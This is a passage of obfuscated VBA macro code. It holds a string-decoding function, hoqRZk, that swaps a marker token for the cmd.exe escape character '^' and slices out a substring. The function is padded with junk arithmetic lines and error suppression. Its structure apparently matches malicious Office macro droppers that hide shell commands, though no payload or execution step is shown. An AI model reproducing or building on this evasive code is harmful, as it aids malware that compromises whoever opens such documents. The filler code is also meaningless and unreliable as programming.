BQQMJ = dlJOrr * bJcoB
ohjhJT = iYGVB / ChrW(IWYijr * YHzpNY) - qUaqTv * KXSjG * 86119 / CSng(77337)
End Function
Function hoqRZk(ByVal twohZlM As String, OwbwBUsvERlhA, aUzomvRjz)
On Error Resume Next
ijWpwc = wQCdL * TiRtv
uzvNq = IBvONo / ChrW(kDaiAM * JwZJK) - AZWpp * TNtln * 41222 / CSng(63369)
nUNiNUAp = naLkCOwaFswQjY + Replace(twohZlM, "UFlXP", "^") + zYlCdpjfGYvURq
nMTOi = lpHwNa * dsYmu
wMBSD = DvELH / ChrW(hjnEjz * qOLji) - QPQCN * IZBuEm * 88876 / CSng(31861)
iHYrICMDfEs = iohdzC + Mid(nUNiNUAp, OwbwBUsvERlhA, aUzomvRjz) + rfYJbUEBldX
mtnsr = wUfpi * pjMLa
GiDkYk = DXoUzI / ChrW(PhdLqv * RAiABw) - UvItb * WsICV * 7082 / CSng(28002)
hoqRZk = oKzjjHCHCAUi + iHYrICMDfEs + odVkWnYjcfbX
EXZbq = jCdqiT * pCNsI
wTiOm = zQqDL / ChrW(YIiCfh * JhwlLn) - QAzVVk * BaiWI * 74760 / CSng(17646)
End Function